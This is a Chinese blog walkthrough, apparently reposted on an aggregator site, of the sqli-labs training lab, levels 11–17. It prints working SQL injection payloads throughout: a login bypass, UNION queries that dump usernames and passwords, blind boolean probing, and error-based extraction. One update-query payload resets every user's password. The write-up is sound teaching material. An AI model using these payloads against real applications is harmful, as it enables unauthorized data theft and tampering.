IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 大数据 -> sqli-lab11和17关详解 -> 正文阅读

[大数据]sqli-lab11和17关详解

Less-11 POST –单引号 – 字符型

我们在登录过程中,输入用户名和密码,用户名和密码以表单的形式提交,提交到服务器后服务器再进行验证。这就是一次 post 的过程的。

在 post 过程中,我们输入的用户名和密码最后在后台处理的过程中依旧会形成前面所见到
的 sql 语句。

首先输入 username:admin’–+(这里是- - +) Password:随便
显示错误了,可以从错误中分析到程序对参数进行单引号的处理。
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘vvv’ LIMIT 0,1’ at line 1
可以判断是单引号,查看代码

$uname=$_POST['uname'];
$passwd=$_POST['passwd'];

在输入框输入万能密码来尝试一下,输入:admin’or’1’=‘1#,密码随意。
返回的正确的结果。
当我们提交 username 和 password 后,后台形成的 sql 语句为sql="select username, password from users where username=‘admin’or’1’=‘1# and password=’$passwd’ limit 0,1";
前面的内容因为 or 1=1 恒成立,所以语句就成立,我们此时以admin 的用户登录。

那么接下来我们尝试用 get 注入中用到的其他的语句代替 or 1=1 进行注入。用 union 注入进行尝试:
username:admin’ union select database(),version()#
passwd=随便

可以看到显示了 database 为 security,这是我们比较常用的手法。
还可以利用其他的方法进行注入。上述在 get 型注入中提到的语句都可以使用。

查库
111 'union select 1, group_concat(schema_name) from information_schema.schemata#

查表
111’ union select 1,group_concat(table_name) from information_schema.tables where
table_schema=database()#

查列
111’ union select 1,group_concat(column_name) from information_schema.columns
where table_name=‘users’#

查数据
111’ union select group_concat(password) ,group_concat(username) from security.users#

Less-12 POST – 双引号 – 字符型

查看代码

$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"'; 

sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";

查库
111") union select 1, group_concat(schema_name) from information_schema.schemata#

查表
111") union select 1,group_concat(table_name) from information_schema.tables where
table_schema=database()#

查列
111") union select 1,group_concat(column_name) from information_schema.columns
where table_name=‘users’#

查数据
111") union select group_concat(password) ,group_concat(username) from security.users#

Less-13 :POST – 基于错误 – 引号 – 字符型

查看代码

$uname=$_POST['uname'];
$passwd=$_POST['passwd'];

sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";

echo "<br>";
//echo 'Your Login name:'. $row['username'];
//echo "<br>";
//echo 'Your Password:' .$row['password'];
//echo "<br>";

我们可以看到本关不会显示你的登录信息了,只能给你一个是否登录成功的返回数据。
盲注部分利用在LESS-5的知识

方法具体可以参考LESS15

Less-14 POST – 基于错误 – 双引号 – 字符型

这里和 less13 一样,主要是熟悉利用盲注
只不过是双引号

sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";

方法具体可以参考LESS15

Less-15 POST – 基于布尔 – 单引号 – 字符型

构造注入语句,猜测当前数据库库名
uname=1’ or (select ascii(substr(database(),1,1)) > 110)#&passwd=&submit=Submit
返回正确
uname=1’ or (select ascii(substr(database(),1,1)) > 120)#&passwd=&submit=Submit
返回错误,说明数据库名的第一个字符的 ascii 码范围是 110<=ascii<120

uname=1’ or (select ascii(substr(database(),1,1)) = 115)#&passwd=&submit=Submit
返回正确,说明数据库名的第一个字符的 ascii 码是 115

uname=1’ or (select ascii(substr(database(),2,1)) = 101)#&passwd=&submit=Submit
115 对应的字母为s,101对应e,与当前数据库的名匹配(security)
后面步骤略

构造注入语句,测测当前数据库的表名
uname=1’ or (select ascii(substr((select table_name from information_schema.tables where
table_schema=database() limit 0,1),1,1)) > 100)#&passwd=&submit=Submit
返回正确
uname=1’ or (select ascii(substr((select table_name from information_schema.tables where
table_schema=database() limit 0,1),1,1)) > 105)#&passwd=&submit=Submit
返回错误,说明当前数据库的第一个数据表的表名的第一个字符的 ascii 码的范围是
100<ascii<=105

uname=1’ or (select ascii(substr((select table_name from information_schema.tables where
table_schema=database() limit 0,1),1,1)) = 101)#&passwd=&submit=Submit
返回正确,说明当前数据库的第一个数据表的表名的第一个字符的 ascii 码为 101
ascii101 对应的字符为’e’,和数据库中的第一个表名的第一个字符’e’相对应,说明判断正
确,以此可以得出其他说所有的表名

构造语句,得出数据库表中的数据
uname=1’ or 1=1 order by 2#&passwd=&submit=Submit
返回正确,说明字段数为 2(然而用不到)

uname=1’ or (select ascii(substr((select username from users limit 0,1),1,1)) >
100)#&passwd=&submit=Submit
返回错误
uname=1’ or (select ascii(substr((select username from users limit 0,1),1,1)) >
50)#&passwd=&submit=Submit
返回正确,说明 users 表中的第一个 username 的第一个字符的 ascii 码的范围是
50<ascii<=100

uname=1’ or (select ascii(substr((select username from users limit 0,1),1,1)) >
75)#&passwd=&submit=Submit
返回错误,说明 users 表中的第一个 username 的第一个字符的 ascii 码的范围是
50<ascii<=75

uname=1’ or (select ascii(substr((select username from users limit 0,1),1,1)) >
60)#&passwd=&submit=Submit
返回正确,说明 users 表中的第一个 username 的第一个字符的 ascii 码的范围是
60<ascii<=75

uname=1’ or (select ascii(substr((select username from users limit 0,1),1,1)) >
68)#&passwd=&submit=Submit
返回错误,说明 users 表中的第一个 username 的第一个字符的 ascii 码的范围是
60<ascii<=68

uname=1’ or (select ascii(substr((select username from users limit 0,1),1,1)) >
64)#&passwd=&submit=Submit
返回正确,说明 users 表中的第一个 username 的第一个字符的 ascii 码的范围是
64<ascii<=68

uname=1’ or (select ascii(substr((select username from users limit 0,1),1,1)) >
67)#&passwd=&submit=Submit
返回正确,说明 users 表中的第一个 username 的第一个字符的 ascii 码是 68
Ascii 码 68 对应的字符为 D,与第一个用户名 Dump 相对应,说明判断正确,依次可以得出
其他数据

Less-16 POST – 基于时间 – 双引号和括号 – 字符型盲注

和15关一样,只不过是’改为"),方法同LESS15

Less-17 POST – UPDATA– 基于错误 – 单引号 – 字符型

常规测试
uname=123&passwd=123&submit=Submit
在这里插入图片描述
uname=admin&passwd=123&submit=Submit
在这里插入图片描述

update="UPDATE users SET password = '$passwd' WHERE username='$row1'";

可以看到username 不存在注入,接下来测试 password

uname=admin&passwd=123"&submit=Submit
修改成功
uname=admin&passwd=123’&submit=Submit
出现错误You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘admin’’ at line 1

前端注入测试(基于错误的注入)
uname=admin&passwd=111’ or 1=1 #&submit=Submit
因为 111’ or 1=1 的逻辑判断始终为真,且 WHERE 条件被注释掉,所以所有的 password 都
变成了 111,修改注入语句,进一步注入

获取当前数据库名
uname=admin&passwd=123’ AND (select 1 from (select
count(*),(concat(““,database(),””,floor(rand()*2)))name from information_schema.tables group
by name)b) #&submit=Submit

获取表名
uname=admin&passwd=123’ AND (select 1 from (select count(*),(concat(“~”,(select table_name from information_schema.tables where table_schema=database() limit
0,1),“~”,floor(rand()*2)))name from information_schema.tables group by
name)b)#&submit=Submit

获取字段名
uname=admin&passwd=123’ AND (select 1 from (select count(*),(concat(“~”,(select
column_name from information_schema.columns where table_name=‘users’ limit
0,1),“~”,floor(rand()*2)))name from information_schema.tables group by name)b)
#&submit=Submit

获取表中的数据
uname=admin&passwd=123’ AND (select 1 from (select count(*),(concat(“~”,(select username
from users limit 0,1),“~”,floor(rand()*2)))name from information_schema.tables group by name)b)
#&submit=Submit

  大数据 最新文章
实现Kafka至少消费一次
亚马逊云科技:还在苦于ETL?Zero ETL的时代
初探MapReduce
【SpringBoot框架篇】32.基于注解+redis实现
Elasticsearch:如何减少 Elasticsearch 集
Go redis操作
Redis面试题
专题五 Redis高并发场景
基于GBase8s和Calcite的多数据源查询
Redis——底层数据结构原理
上一篇文章      下一篇文章      查看所有文章
加:2022-04-28 11:56:15  更:2022-04-28 11:58:28 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/24 1:12:07-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码